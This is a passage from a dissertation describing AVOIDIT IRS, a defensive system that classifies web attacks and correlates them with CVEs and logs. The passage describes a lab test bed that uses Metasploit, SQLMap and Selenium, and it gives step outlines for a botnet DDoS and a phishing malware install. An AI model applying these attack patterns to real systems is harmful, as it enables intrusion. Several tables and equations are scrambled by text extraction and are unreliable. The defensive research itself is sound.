an administrator of potential attacks. The following CVEs will be highlighted in this
research:

3.6

•

CVE-2007-4184 (Base Score 7.5)

•

CVE-2006-4234 (Base Score 7.5)

•

CVE-2008-3886 (Base Score 4.3)

•

CVE-2006-6808 (Base Score 6.8)

•

CVE-2006-2667 (Base Score 7.5)
ID3 Algorithm Implementation for Defense Notification

The ID3 algorithm, developed by Ross Quilan in 1987 [64], is a simple algorithm
used in AIRS to notify the defender whether to defend or not to defend. The ID3
algorithm builds a decision tree using a fixed set of examples for future samples. This
algorithm applies a top-down, greedy search, through the examples given, which provides
a low false positive rate and a high false negative rate. Table 4 provides an example of
the ID3 algorithm attributes used in AIRS. The attributes and their values for the ID3
implementation are:
AV = {misconfiguration (MC), insufficient validation (IV), buffer overflow (BO),
insufficient authentication (IA), design flaw (DF), incorrect permission (IP) }
OI = { misuse of resources (MoR), user compromise (UC), web compromise
(WC), installed malware (IM), denial of service (DoS) }
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D = { Patch System (PS), Correct Code (CC), Remove From Network (RFN) }
I = { distort, disrupt, destruct, disclose, discover }
T = { joomla, wordpress, dotProject }
severity = { high, medium, low }

Table 4. ID3 Decision Tree Training Data

Day

AV

OI

D

I

T

Severity

CVE20083226
CVE20083586
CVE20083226
CVE20083227
CVE6
CVE20080683
CVE20080664
CVE20080616
CVE20075486
CVE20062851
CVE20021428

DF

WC

PS

Distort

joomla

High

Defend
?
Yes/No
Yes

SQLI
(IV)

WC

CC

Distort

joomla

High

Yes

IA

MoR

PS

Disclose

joomla

Medium

No

UR
(IA)

WC

PS

Disclose

joomla

High

Yes

IV
SQLI
(IV)

MR
WC

R
CC

Distort
Distort

dotProject
wordpress

Low
High

No
Yes

MC

UC

PS

Distort

wordpress

Medium

Yes

SQLI
(IV)

WC

CC

Distort

wordpress

Medium

No

BA
(IA)

RC

PS

Disclose

dotProject

Medium

Yes

XSS
(IV)

WC

CC

Distort

dotProject

Medium

No

BA
(IA)

RC

PS

Distort

dotProject

High

Yes
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To make relative decision related to defend or not to defend, we use the entropy and
information gain for prediction. For the table 4 example, we compute the entropy below,
as well as provide the calculation for gain.

Entropy(S)    =    −  (6/10)  Log2  (6/10)    −    (4/10)  Log2  (4/10)    =   0.971
Gain(S, A)    =   Entropy(S)    −   S  ((|S! |  /  |S|)  x  Entropy(S! ))
Where:
S is each value v of all possible values of attribute A
S! = subset of S for which attribute A has value i
|S! | = number of elements in S!
|S| = number of elements in S
In the event a classification attribute value is unknown, we assign a probability based
on the frequency associated with the classified values. A more elaborate list of the ID3
training tree can be found in Appendix D.
3.7

Attack Graph Probability
The Common Vulnerability Scoring System (CVSS) is an open framework used to

standardize vulnerability scores [65]. The CVSS consists of three groups: Base, Temporal
and Environmental. In this work, focus is placed on the base score, which is a cumulative
score of the vulnerability relative to the access vector, access complexity, and
authentication.
The CVSS base score is used relative to the CVE, as well as if the CVE has been
correlated with any log file, for analyzing a sequential attack path. The information is
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used to determine the probability of whether an attacker utilizes a child node within an
attack graph to successfully launch an attack. The system uses its historical data to assist
the defender in determining whether to defend or not to defend. In the event a log
instance is correlated with a CVE, it does not necessarily mean an attack has been
successful, but provides the administrator the ability to ensure his system is patched by
raising a flag. The probability of the attack is determined using the exponential
distribution and normalized using the following cases:
Case 1: Log instances present in log file associated to CVEs
In the event a log instance is associated to a CVE, we set the system flag to 1,
otherwise 0, and compute the probability in the following fashion:
bs: is a vector of the base score contained within the CVE (i.e. [7.5, 6, 5.5, …n]).
L: is a vector of the flag being set within a log file associated to a CVE (each
L!   ϵ  {0,1}).
e!"! !!
Pr(bs! )    =    ! !" !
! !
!!! e
Pr(bs! )    =   1

Case 2: Log instances are not present in log file associated to CVEs
In this case we do not use the system flag; considering setting the system flag to 0
will result in an evenly distributed probability. Therefore, we use a cumulative score and
take the probability associated to the severity of the CVE base score. We compute the
probability in the following fashion where bs is the CVE Base Score:

Pr(bs! )    =   1
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In this chapter, we provided the attack taxonomy that is proposed as an enhancement
based on prior taxonomies. In doing so, the CADAT process is defined, as well as the
ontology proposed for efficient organization communication. Our PACF framework is
utilized, as well as the information extraction techniques to classify internal and external
vulnerabilities, followed by correlating these events. We follow this up with the use of an
attack graph and how we compute the probability of the attacker using a child node
towards a successful attack. The next chapter will explore the implementation aspects of
these topics.
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4.

IMPLEMENTATION DETAILS

This chapter presents the implementation details regarding event correlation within
the issue resolution system. The implementation details involve the knowledge base,
classification algorithm, virtual machines, and web applications corresponding to
hardware and software.
Cyber attack management is critical in the application of AVOIDIT. Any attack
vector can be malformed to perform some gratuitous action to a system. Utilizing
AVOIDIT (Figure 9) with the tree structure (Figure 10), created an issue resolution
system. AVOIDIT IRS is a knowledge base tool that enables an organization to create a
formalized apparatus to communicate seamlessly regarding the discovery of attacks and
defenses. It uses AVOIDIT as the basis for its repository schema to classify the entire
path of an attack. AVOIDIT IRS is not an intrusion detection system, but works together
with an IDS. Figure 16 highlights AVOIDIT IRS applied on a local network. Following
the architecture of the proposed system, attack examples are provided describing the use
of an attack based issue resolution system, its proposed algorithm, and lastly the design
and interface implementation.
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Figure 16: AVOIDIT IRS in a Local Network Environment

More than ninety percent of web applications contain design related flaws that can be
readily exploited by hackers [66]. Considering the majority of attacks involve web-based
vulnerabilities, AIRS places focus on cyber attacks. In a recent survey [67], it was found
that eighty-five percentof cyber breaches were not difficult; of those ninety-six percent
were preventable, and half of the vulnerabilities found stem from plugin applications.
Therefore, with plugins playing a major part of vulnerabilities in cyber attacks, AIRS is
able to store plugin related data to alert the administrator of potential compromises.
Figure 16 provides the overall setup of the AVOIDIT IRS architecture, which consists of
the external web-based vulnerabilities, a log parser, a classification algorithm, database,
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and user interface. Following the architecture, the approach to discovery and
dissemination within the issue resolution system is detailed.

4.1 AIRS Experiment Setup
In this section the experiment setup is discussed to understand how AIRS is able to
operate in a near real world environment. Due to limited resources, virtual machines
(VM) were used to virtualize software and its exploitation. Figure 17 depicts our virtual
machine setup.

Figure 17: Virtual Machine Attack Environment
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The SamuraiWTF VMWare image containing Metasploit and other testing tools,
including the target machines are all located on the same physical machine. The router is
used only to depict the communication flow within the host machine IP address
192.168.1__.1. The target/victim machines are displayed with the three IP addresses
connected to the right of the router. The target machine with an IP address of
192.168.1__.2 is loaded with Windows XP Service Pack 2. Concentration is placed on
the target machine with an IP address of 192.168.1__.3, which is loaded with the Ubuntu
based UltimateLAMP VMWare image containing our vulnerable web applications,
Joomla, WordPress, and dotProject. The target machine with an IP address of
192.168.1__.4 is loaded with the Metasploitable Ubuntu 8.04 server install on a VMWare
6.5 image, which mainly consists of networking vulnerabilities. AIRS was implemented
on the target machine with the IP Address 192.168.1__.3 highlighted in blue.
Considering there are numerous outdated attack data sets, such as DARPA and the
PKDD2007, the decision was made to construct an automated attack test bed for the
purposes of testing the AVOIDIT IRS. The current DARPA dataset has been criticized
for being outdated [68], but remains a very popular dataset for intrusion detection
analysis. Moreover, DARPA has recognized there remains a lack of efficient attack test
beds to construct various attack scenarios and are in the development phase of the
National Cyber Range, which is the National test bed for critical security research [69].
Therefore, several sets of attacks were created that were derived from various sources to
test the AVOIDIT IRS. These attacks stemmed mainly from open source web application
within the UltimateLAMP project hosted on the vulnerable virtual machine as depicted in
figure 15. The SAMURAI project (SWTF) is a web testing framework, which consists of
multiple web applications testing tools to test a variety of hacking techniques.
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The use of attack modules from the Metasploit project provided the majority of the
attacks used against the web application projects within SWTF. For example, figure 18
depicts an attack against a Joomla web application. The use of Metasploit
joomla_tinybrowser module to conduct the attack and exploit a vulnerability in Joomla
1.5.12 tinybrowser plugin. This particular attack is used to perform a file upload and
execute arbitrary code on the targeted system. This Metasploit module connects to the
target server and allows the attacker to upload a file without logging in. Once
successfully connected to the server an attacker modifies the file name to prevent
detection with the option to conduct further damage.

Figure 18: Attack Test Bed
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These attacks are utilized within the attack environment from open source web
applications within the UltimateLAMP project using the following external cyber
vulnerabilities:

4.2

•

CVE-2007-4184 (Base Score 7.5) – Joomla!

•

CVE-2006-4234 (Base Score 7.5) – dotProject

•

CVE-2008-3886 (Base Score 4.3) – dotProject

•

CVE-2006-6808 (Base Score 6.8) - Wordpress

•

CVE-2006-2667 (Base Score 7.5) - Wordpress
AVOIDIT Issue Resolution System (AIRS) Interface

The interface to AVOIDIT IRS will provide the user the ability to login and
create/view notifications of current issues related to cyber security incidents. With AIRS
the user is able to view reports involving hourly, daily, and monthly incidents. The user is
able to view the health of the particular system in question involving the number of open
tickets. The AIRS interface is able to display the complete path to an attack. It takes input
from users and the log parser to retrieve probable attacks based on historical data. Further,
from the input, AIRS outputs appropriate defenses to the attack. AIRS will capture the
new threat probability based on attack vector and associated severity of the CVE relative
to log file input. AVOIDIT IRS will be a comprehensive ticketing system related to cyber
incidents and vulnerabilities.
Codeigniter [74] is used as the development framework to provide a sophisticated
user interface to the knowledgebase using PHP as the scripting language. Codeigniter is a
fairly new Model View Controller (MVC) framework, which allows rapid web
development and improved organization of dynamic sites. The initial Codeigniter
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codebase was modified and extended to include features related to attack capture,
classification, and correlation of events. Figure 19 is a screenshot of the proposed
AVOIDIT IRS interface.

Figure 19: AVOIDIT IRS User Interface

AVOIDIT IRS Classification and Correlation Algorithms
AVOIDIT Algorithm is used to classify attacks within the knowledge base tool. Once
an attack is discovered a call is made to the classification algorithm that is used to classify
attack vector information autonomously or manually via input from the administrator.
After classification is complete, a call to the tree algorithm is made to retrieve all the
information related to a particular attack vector. If the current node is a leaf node, then
traverse up the tree until you reach a root node to determine the initial attack vector attack
path. This algorithm uses a top-down approach to interpret the attack path by which an
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attacker uses the initial attack vector to perform an attack. The parent node is the initial
attack vector and the child nodes are the subsequent attack vectors that follow.
The algorithm parses the data and uses the keyword matches within the repository to
classify new attack vectors and their associated target. The algorithm retrieves the
associated classifications for each keyword recognized within the repository. Table 5
describes the notations used within the correlation algorithm.
Table 5. Notations used in AVOIDIT Correlation Algorithm

Notation
n
cav!
T
v
x

Definition
Extracted string from a log
Classifications of previous attack vectors
Attack tree
Set of Vertices
Parent node

Function classification (A simple data retrieval algorithm that is retrieved directly
from repository)
Algorithm 1. Classification Algorithm
Input: a set of strings 𝑁.
Output: A set of attack vectors 𝑐𝑎𝑣 names associated to set
𝑁 and 𝑓𝑟𝑒𝑞
The AVOIDIT Classification Algorithm
for each 𝑛 ∈ 𝑁
if 𝑛! is at least one match
select all classifications 𝑐𝑎𝑣 including frequency
else if
for each variation of 𝑛! //uses php pecl function
select all classifications 𝑐𝑎𝑣 including
frequency
7.
end for
8.
else
9.
set 𝑛! → unclassified
10.
end if
11. end for
12. retrun classifications 𝑐𝑎𝑣 and 𝑓𝑟𝑒𝑞
1.
2.
3.
4.
5.
6.
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The logic behind the classification algorithm is to take a set of strings, whether it be
from the description of a vulnerability alert or from a log file, and correlate them using
keyword matches. The running time of the algorithm involves the retrieval of the attack
vectors associated to the input. The best case scenario considers a constant linear time
retrieval of the correlated attack vectors, including the frequency. The worst case scenario
within the classification algorithm involves the retrieval of synonyms or a variation of the
selected match. If synonym retrieval is required, the algorithm would remain linear with
the multiplication of the synonyms included to retrieve the classified attack vector. As an
alternative to ensure classification speed, a limit is placed on the variation of the keyword
selected. The use of frequency enables a ranking mechanism to determine which variation
has an increased probability of being the correctly selected match.

Function attackTree using DFS
Input: Text from the classification algorithm (n) and known classified attack vectors
(cav! )
Output: A row based output that simulates the complete path to an attack (Attack
tree)
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Algorithm 2. Attack Tree Algorithm
Input: a set of classified attack vectors CAV.
Output: A set of attack trees 𝑇!" that simulates the complete
path of an attack.
The AVOIDIT Tree Algorithm
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.

for each 𝑐𝑎𝑣! ∈ 𝐶𝐴𝑉
find corresponding attack Trees 𝑇!
if 𝑐𝑎𝑣! does not have a corresponding 𝑇!
                𝑐𝑎𝑣!    → 𝑇!"
else
Given a set of tree 𝑇!  !"  !
for each 𝑇!
for all 𝑣   ∈ 𝑇!
visited (𝑣) =   𝑓𝑎𝑙𝑠𝑒
for all 𝑣   ∈ 𝑇!
if not visited (𝑣): 𝑒𝑥𝑝𝑙𝑜𝑟𝑒  (𝑇! )
construct a tree 𝑇!" s.t. all v are covered for 𝑐𝑎𝑣!
set parent in 𝑇!" of 𝑐𝑎𝑣!    → 𝑥!
end for
end if
end for
for all 𝑥!  !"  ! are equal
union 𝑇!" (𝑥! , 𝑥!!! )
return a set of attack trees 𝑇!" .

The premise behind the attack tree portion of the algorithm is to provide a database
scan of the classified attack vectors to retrieve the associated trees. If no tree exists, the
attack vector becomes the root level for future related attack tree retrieval. If a tree exists
for the classified attack vector, the child nodes are compared with other existing nodes. If
a tree exists where two or more attack vectors contain the same parent, the attack trees are
merged into one tree.
This data is correlated with historical data relative to log entry patterns and targets
associated to CVEs. If the event log or CVE events are not autonomously linked, the
administrator is notified and provided the ability to classify manually in order to allow the
system to begin correlating ambiguous instances. Considering the massive number of
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CVEs, focus was placed on real world scenarios, where a company uses a web based
content management system, such as Joomla, Wordpress, etc. Furthermore, plugins play a
major part of vulnerabilities in cyber attacks, therefore AIRS is able to store plugin related
data to alert the administrator of potential compromises.
AIRS Ontology Implementation
AVOIDIT IRS extracts cyber events’ ontological information corresponding to
monitored web applications. An ontology can be considered a formal logic system of
rules, concepts, concept taxonomies, relationships, properties, axioms and constraints
[18]. Dalkir [70] proposed techniques used to elicit tacit knowledge codification within
an organization using cognitive maps, decision trees, and knowledge taxonomies.
Codification of knowledge allows the collection of knowledge to be shared and used
within an organization. This provides good insight to constructing our ontology to ensure
critical relationships are provided to capture knowledge beneficial for reuse.
Mulwad et al. [71] proposed a framework for extracting unstructured information
from text within external repositories, such as CVE, CCE, CPE, CVSS, OVAL, etc. They
use Wikitology for its ontology conceptual model of cyber incidents and a computer
security taxonomy from Wikipedia to classify vulnerabilities. The AVOIDIT IRS
ontology is a formal representation of attack vector information, information relative to
monitored web applications and key stakeholders, definitions associated to cyber
incidents including mitigation/remediation resources and complexity.
There is an increased complexity pertaining to the data storage of cyber attack
information and its systematic approach to managing information. Knowledge
management is a continuous developing field that remains full of research methodologies
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to capture knowledge. Andrade and Saltz proposed a knowledge base management
system that provides the capability of using an ontology-aware database management
system [72]. This technique is useful as it provides a repository store framework for
capture and dissemination of information. In this work, we develop a new ontology from
a compilation of ontological research as represented in figure 13 above.
Now, let us consider an organization running an online booking PHP based application
connected to a MySQL server database. An incident is discovered by the defender,
wherein an attacker is attempting to assess the MySQL server using an SQL injection
vulnerability via the profiled online booking application. The defender is able to view the
SQL injection attempts via the web server log file. The defender uses the national
vulnerability database to see if any new incidents have been reported; however it will take
the defender a significant amount of time to discern if a fix is available.
AIRS offers an ontological representation of the cyber incident and the communication
involved to educate the defender of the current state of the system. It uses pull technology
to bring the information to the defender without having to search for suggestive
countermeasures. Continuing our example, using AIRS, the SQL Injection vulnerability
targets a vulnerability in a PHP application version 3.2 that has a defense [influencedBy]
a high complexity. AIRS identifies that a CVE does not exist and uses historical data to
determine the defense as Block IP address, until a fix has been established. Therefore, the
Defense is [influencedBy] the Complexity of the SQL Injection vulnerability. The
Complexity is also [influencedBy] the Resources available to defend or repair the
vulnerability, pending [approvalBy] the sales organization. Once the AVOIDIT portion of
the ontology is populated with the necessary vulnerability information, AIRS
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communicates within the entire organization for proper allocation of resources and
approvals. This offers a framework for organizational awareness and its impact when a
cyber incident has taken place. We illustrate the necessary AIRS concepts using figure 20.
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associatedWith – who assigns a task
has/have – information needed to complete superclass. The direction is
one-way.
is – an option associated with a higher level concept.
consistOf – is the superclass concept that contains vital subclass
relationship.
approvedBy – who approves
influencedBy – the associated impact
Figure 20: AVOIDIT IRS Ontology Example

In the next step AIRS extracts the ontology relationships from the various sources of
information stored. See Table 6 for the organizational ontology extracted.
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Table 6. Extracted Organizational AVOIDIT IRS Ontology

Subject

Predicate

Concepts

Booking
Application

associatedWith

Sales Department

Booking
Application

has

Risks

Booking
Application

has

AVOIDIT Cyber Attack Taxonomy

Booking
Application

has

Resources

Booking
Application

has

Complexity

AVOIDIT

consistOf

Attack Vector, Operational Impact, Defense,
Information impact, and Target

Attack Vector

is

Input Validation

Operational
Impact

is

Web Compromise

Defense

is

Remove from Network

Informational
Impact

is

Disclosure

Target

is

Application (Joomla)

Defense

influencedBy

Complexity

Complexity

influencedBy

(Small) Project Size

Complexity

influencedBy

(High) Priority

Complexity

influencedBy

(Documented) Business Rules

Resources

has

Person (Tim S.)

Person (Tim S.) has

Role (SE)

Resources

has

Tool (SAT)

Resources

has

Budget ($300)

Resources

has

Timeline
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Knowledge Base
The AVOIDIT IRS implementation platform uses open-source development tools,
such as PHP as the scripting language and MySQL as the database. Initially, a small
application was created housing the classification algorithm using PHP with a MySQL
database to store the keywords for classification as described in the preliminary tests in
section 4.6. The preliminary scripts were extended for more sophisticated capabilities and
custom interface using Silverstripe [73]. The Silverstripe CMS proved to be difficult to
extend for customization. Therefore, the decision was made to migrate to Codeigniter for
ease of use with closely related PHP scripts. The Codeigniter framework requires a web
server install. To perform this capability, a simple XAMPP [75] install was done to
incorporate Apache, MySQL, and PHP on a Toshiba Satellite 645D with 4GB of RAM,
250GB hard drive, an Athlon II Dual Core. This setup was later migrated to a MacBook
Pro with 16BB of RAM, Intel® Core I7 using MAMP [76] as the web server install.
Although, any database could have been used for the knowledge base, I chose to
remain with MySQL as the database for the Codeigniter repository. Further, I chose to
use the MySQL Workbench 6.0 [77] as the database interface, as it provides a visual tool
for database management, sql execution, data migration, and data modeling, to name a
few features. MySQL Workbench provided a way for seamless updates and modeling
relationships. Figure 21 provides a the MySQL Workbench view. Appendix B provides
the full database model that was created.
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Figure 21: MySQL Workbench

Cyber Attack Classification and Scheme
Table 7 provides insight into how a searchable schema is attained by classifying
attacks using a tree structure. By using a parent-child relationship, AVOIDIT
demonstrates how multi-staged attacks can be captured, classified, and disseminated.
This information is utilized within AVOIDIT IRS.

Table 7. Cyber Attack Classification Scheme

ID

Parent

001

Name
Slammer

Attack
Vector
MC

Operational
Impact
Worm:Network
Aware

Informational
Impact
Discovery

002

001

Slammer

BO

IM: Worm:
NetworkAware

Distort

003

002

Slammer

DoS

Zotob

BO

IM: Worm:
Network Aware
IM: Worm

Remediation:
Patch System
Distort

004
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Defense

Target

Mitigation:
Whitelisting
Remediation
: Patch
System
Remediation
: Patch
System
Disrupt

Network

Remediation
: Patch
System

OS

Application
Application

Table 7. Cyber Attack Classification Scheme

ID

Parent

Name

005

004

Zotob

Attack
Vector
BO:
Stack

Operational
Impact
IM: Worm

Informational
Impact
Distort

006

SamyXS
S

DF

WC

Disrupt

007

DebianA
dmin

KF

RC

Disclosure

DebianA
dmin
Yamanne
r

KF

DoS

Distort

SE

WC

Disclosure

Yamanne
r

DF

IM:
Worm:
MassMailing

Disrupt

008

007

011
012

011

Defense

Target

Remediation
: Patch
System
Remediation
: Correct
Code
Remediation
: Patch
System
Mitigation:
RA
Mitigation:
RA

Local

Mitigation:
RA

User
OS
OS
Application
: Server:
Email
User

LogParser
LogParser [51] is used to parse large amounts of log data according information
stream of an IDS log file and web application log files. Figure 22 depicts LogParser’s
ability to accept an Apache Server access.log file as input and output pertinent web log
events, which occurred within the previous two hours. Data captured from log parser was
integrated into the codeigniter for analysis and resolving cyber attacks.

84

Figure 22: MS LogParser - Web Log Errors

The decision was made to continue to utilize log parser on system related parsed files,
but transition to a more integrated LogParser with PHP. Therefore, the
ApacheLogIterator class was coded to integrate into AIRS. Due to ApacheLogIterator
capabilities to iterate through the entire file one record at a time, it prevents loading the
entire file into memory before processing. Although, the ApacheLogIterator class appears
to be touted as a key feature, this feature is not an optimal scenario for processing
extremely large apache log files, but it is manageable.
National Vulnerability Database (NVD)
The National Vulnerability Database (NVD) is supported by the National Institute of
Standards and Technology (NIST). The NVD is a vulnerability database that provides an
immense catalogue of known common vulnerabilities and exposures (CVEs) related to
software and hardware, along with the vulnerability details. The AVOIDIT IRS
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containing attack vector information uses the NVD as an external repository. Figure 13
above highlights an example CVE used by AIRS.
4.3

AVOIDIT IRS Attack Examples
It is imperative to understand the phases of a full attack by analyzing each step used to

launch the attack. Typically, when a cyber attack is launched against an organization’s
assets, various levels of communication take place to understand what occurred, the
impact, and how it can be rectified. Ordinarily organizations rely on a set of individuals to
resolve the problem without suitable knowledge transfer. This approach to resolving
security breaches can become time consuming and costly. This section depicts a couple of
attack scenarios with the use of attack patterns and how the issue resolution system will
aid in discovery and dissemination of information.
In the first example, a user may notice a slow connection preventing access to
resources and contact technical support. A technical support representative takes the
information to report it appropriately. The information is elevated to a manager who in
turn locates an administrator to assess the network. The administrator attempts to dissect
the network by understanding what services are running to locate the possible exploitation.
Once resolved the administrator informs appropriate personnel of closure. Table 8
describes the buffer overflow attack pattern used to cause a distributed denial of service.
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Table 8. Buffer Overflow Attack Pattern

Pattern

Buffer Overflow

Attack Goal

Distributed Denial of Service

Conditions

Misconfiguration

and

Insufficient

Input

Validation
Attack Technique

1. Select a target site to disrupt.
2. Broadcast executable code to randomly
selected IP addresses to identify target
systems running vulnerable software.
3. Acquire a zombie network containing
numerous

systems

with

default

configuration.
4. Use the default configuration to exploit an
input validation vulnerability.
5. Allow injected code to run command to
gain additional hosts.
6. Send code to infected targets to rebroadcast executable code.
7. Affected computers will cause a denial of
service to the initial target, in which the
zombie network was created to attack.
Attack Results

Malicious code is continuously broadcasted to
acquire more and more zombie targets to
flood the target causing a denial of service.

An alternative involves the issue resolution system discovering the reduction in
bandwidth via the log file from the web server. A ticket is generated via the LogParser
input to AIRS or by the technical representative stating a potential denial of service. The
ticket is routed to the department of the servicing manager. The manager uses his
knowledge of the application and determines the incident involved a compromise to a web
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application. The manager then routes the ticket to the appropriate network administrator.
The network administrator reviews the ticket and information provided to determine the
best way to mitigate is to whitelist IP addresses. This flexibility captures the knowledge
and communicates it appropriately between disciplines within an organization.
The final example involves a somewhat new labeled attack via a social engineering
aspect, where a user is tricked into clicking a malformed email to download unsuspecting
malware from a bogus website. Table 9 describes the path to the attack used to
successfully download malware on a victim’s computer.
Table 9. Social Engineering Attack Pattern

Pattern

Social Engineering Attack

Attack Goal

Installed Malware

Conditions

Misinformed user clicks a bogus link

Attack Technique

1. Send an email containing information in
which a typical user may have interest.
2. The email contains information that
appears valid.
3. Once email is opened and link is clicked,
malware is installed onto the user’s
computer unknowingly by the user from
an unknown site.
4. Step 3 allows the attacker to perform
backdoor

operations

to

the

user’s

compromised computer.
Attack Results

The user is tricked into installing malware
onto computer where the attacker has full
reign to perform malicious activity in various
forms.
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A social engineering attack vector is difficult to defend against with its use of
deceptive measures for a user to partially agree with the results, but provides information
to where the attack originates for future defenses. There are several instances in which
AIRS is able to provide assistance. In this scenario, let us refer to figure 4 while assuming
the installation of malware being successful and a CVE exists for this attack. AIRS will
scan registry folders to capture modifications of the internal system; this is identified in
Step 1. After the acquisition of the internal system information used by LogParser in Step
2.1, AIRS attempts to locate an associated CVE externally. In Step 2.2, the CVEs are
considered an external ticket and operate independently within AIRS to correlate events.
Continuing our scenario, a modification to a registry has been flagged by LogParser and a
CVE contains information to a site that has malware. Step 3 enables the classification of
the LogParser events and the CVE events with aim to correlating the information for
appropriate classification and defense. In Step 4, an initial ticket is generated by AIRS
with preliminary information associated to user-installed malware and highlighting a
potential solution contained within the CVE, where the relationship is finalized in Step 5.
Step 6 provides semi-autonomous of beginning content analysis and extraction within the
repository for attack association. Step 6 further enables human intervention via a network
administrator where the ticket is analyzed and its content associated with relevant
information. In this example, the network administer was able to perform remedial
actions, highlighted in the CVE, to install a recommended patch to the email filter. Step 7
provides the ontology relationships as needed within the organization to notify affected
personnel. The information is communicated within AIRS and presented to the user
through the user interface depicting the complete path to the attack in Step 8.
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The correlation of internal incidents and an external vulnerability data enables quick
information for a network administrator to consider solutions when defending against
attacks on a local network.
4.4

Metric Evaluation
Metrics provide a way of determining how well AIRS is able to accurately classify a

potential event. The use of tree-based events will depict potential next occurrences in a
sequence leading towards an attack. The metrics considered that will aid in the discovery
and defense of attacks are provided below:
•

True Positive – defined as the number of alert sequences that are correctly
detected.

•

True Negative – defined as the number of alert sequences correctly classified,
but were not detected.

•

False Positive – defined as the number of alerts incorrectly detected as
malicious in nature.

•

False Negative – defined as the number of alerts that are not detected.

•

Precision – defined as the ratio of alert sequences correctly detected as
opposed to the number of incorrectly detected.

•

Recall – defined as the ratio of alert sequences correctly detected to the
number of alerts that were not detected.

•

Mean Time to Incident Discovery - characterizes the efficiency of detecting
attacks, by computing the average elapsed time between the initial occurrence
of an incident and its subsequent discovery.
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•

Probability of Detection - defined as the probability of the correct
classification of a module that contains a defect.

These defined metrics are generic in nature and present a common measure in
determining how well AIRS is able to classify and distribute defenses. These metrics
highlighted are not a complete list, but provide insight regarding the considered
techniques used to measure the quality of the system. Moreover, Simmons et al. [1D]
proposed an attack-defense assessment of performance taxonomy (ADAPT), which offers
the use of game inspired defense metrics within AIRS to objectively select the optimal
game model. Also, data is captured related to the rate of occurrence of each attack vector
and key events within web logs with intention to correlate data to provide useful
reporting. Detailed transactions and various logs can be used to augment the ability of
reconstructing a sequence of events that preceded a problem. Further, AIRS will be used
to propose game models associated to the identified attack.
In this chapter, we covered the implementation details of the AVOIDIT IRS, the
algorithms used to classify vulnerabilities and log instances, as well as correlating events,
the user interface and ontology for improved communication along with the test
environment setup used in this dissertation. These sections provide an intuitive
introduction of the interaction between components and how the information is conveyed
to the end-user. The next chapter will cover the experiments and results using the
AVOIDIT IRS.
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5.

EXPERIMENT AND RESULTS

This chapter will highlight the experiment setup and outcome of the testing using
AVOIDIT IRS. Accuracy will be calculated for classification and propagation of
defenses in an organization. Accuracy will determine how well AVOIDIT IRS correctly
classifies attack vectors and relative information. This will be measured by the total
number of attack vectors classified appropriately in each category divided by the total
number of attack vectors. The following sections detail the experiment results, the
metrics used to rate AIRS, and the source data used to test AIRS.
5.1

Source Data
Acquiring attack data for this project presented a significant hurdle to effectively

capture attack vector information. Attack data is proprietary at many organizations, as
they prevent the public from knowledge of an attack for threat of diminished reputation.
Some of the highly referenced datasets were considered, such as DARPA 1999 and
PKDD 2007, but the DARPA dataset has been criticized for being outdated [68] and the
PKDD 2007 dataset was unavailable. Therefore, the attack modules containing wellknown web attacks within Metasploit were used as the primary source data, as well as the
NVD repository of CVEs. This provides experiential analysis of AVOIDIT IRS ability to
capture and classify attack vector information. Section 4.1 gives insight to the experiment
setup for an attack test bed to capture near real work events.
5.2

Training Data
For the training data, I researched numerous sites that contained sql injection (SQLI),

cross-site scripting (XSS), cross-site request forgery (CSRF), and file inclusion attacks

based on php web applications [78, 79, 80, 81, 82, 83, 84, 85, 86]. From this, I was able
to train the algorithm to locate prevalent vulnerabilities for the classification rules. Figure
23 provides an example of SQL Injection keywords from the various sources described
above. The keyword input can be string, or regular expression for a more sophisticated
search.

Figure 23: SQL Injection Keyword Input into AVOIDIT IRS

Each web query within AIRS, either POST or GET, is classified as a cross site
scripting or sql injection attack under insufficient validation, directory traversal under
incorrect permissions or authentication, or design flow. If the queries were not in either of
these classes, they were considered normal, or user error.
For training CVEs, we utilize the initial CVE experiment relative to Joomla! CMS, as
well as 60 Wordpress CVEs and 5 dotProject CVEs (considering there are only 13 total),
with a total of 125 CVEs for training. These CVEs were applied to the ID3 algorithm to
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build the decision tree to classify new CVEs imported into the AIRS. A sample ID3
algorithm decision tree is available in Appendix D.
5.3

Experiment and Setup with Selenium
The Metasploit attacks posed some difficulty, as described in section 4.1, considering

the majority of those attacks required some level of unique information relative to
sessions within the particular web application. To overcome this hurdle, Selenium [62]
was used to create automated scripts that allowed for persistent session management.
Selenium is an automation tool used for capturing user-defined events, such as login and
logout, which allowed session based attacks to succeed.
The environment was setup to describe a typical small-to-medium sized organization
that contains several web applications running for internal and external users. The
environment was composed of an Apache Web Server and MySQL databases on Ubuntu
with PHP installed as the web scripting language of choice. This was all accomplished
using the UltimateLAMP VMWare Image as identified in section 4.1. Using Selenium,
we were able to record, script, and playback valid and invalid complex user interactions
using various vulnerable web applications. Figure 24 highlights the test case scripts
created to use for the registration user instance.
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Figure 24: Selenium Automation Attack Test Bed Cases

In constructing the automated attack test bed, thirty-six automated cases were created
associated with Joomla, WordPress, and the dotProject web applications. These
automated test cases consist of valid, invalid, and anomalous requests. The anomalous
requests involved were automated to contain four sql injection attacks, one cross-site
scripting attack, one file injection attack, and partial command injection attack. These
attacks exploit the available vulnerabilities found in the experiment setup section 4.1 and
the results section 5.5. Figure 25 depicts the Selenium test case scripts created for the
automated attack test bed.
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Figure 25: Selenium Automation Attack Test Bed Execution

When the automated attack test bed is played through Selenium, the attack instances
are viewed through the log files. Figure 26 depicts the results of Selenium test case
scripts being executed through the apache access.log file, where over 1,000 lines of logs
were captured. Variations of these scripts, as well as Nessus scans and SQLMap scans,
produced over 5,000 lines of log instances. More precisely, there were 247 successful
attack queries using Selenium and the remaining were just incorrect queries. There were
138 attack queries performed by SQLMap and 48,915 queries performed using Nessus
(of those 3,969 were extracted for Joomla and 2,488 extracted towards Wordpress).
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Figure 26: Selenium Automation in Apache access.log

An attempt was made to load AVOIDIT IRS on the virtual machine to monitor events
in near real time using a cron job. Considering the UltimateLAMP web applications were
written with an older version of PHP, and AIRS was written with the latest version of
PHP, this discrepancy provided a major hurdle. Therefore, the decision was made to take
the log files from the web applications and upload the log files into the AVOIDIT IRS.
This allowed simulated scenario of AIRS capturing event information in near real time
fashion. This also allows an unsophisticated user the capacity to load log data,
anonymized if needed, to determine if an attack path is present and known vulnerabilities
are associated to their system. The near real-time correlation is performed by AIRS,
which has knowledge of the state of each application’s vulnerabilities and automatically
correlates suspicious attack attempts against known vulnerabilities.
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5.4

Example System Monitor in AVOIDIT IRS
This section will provide an overview of using AIRS to arrive at capturing,

correlating, and disseminating attack vector information. A case study is presented below
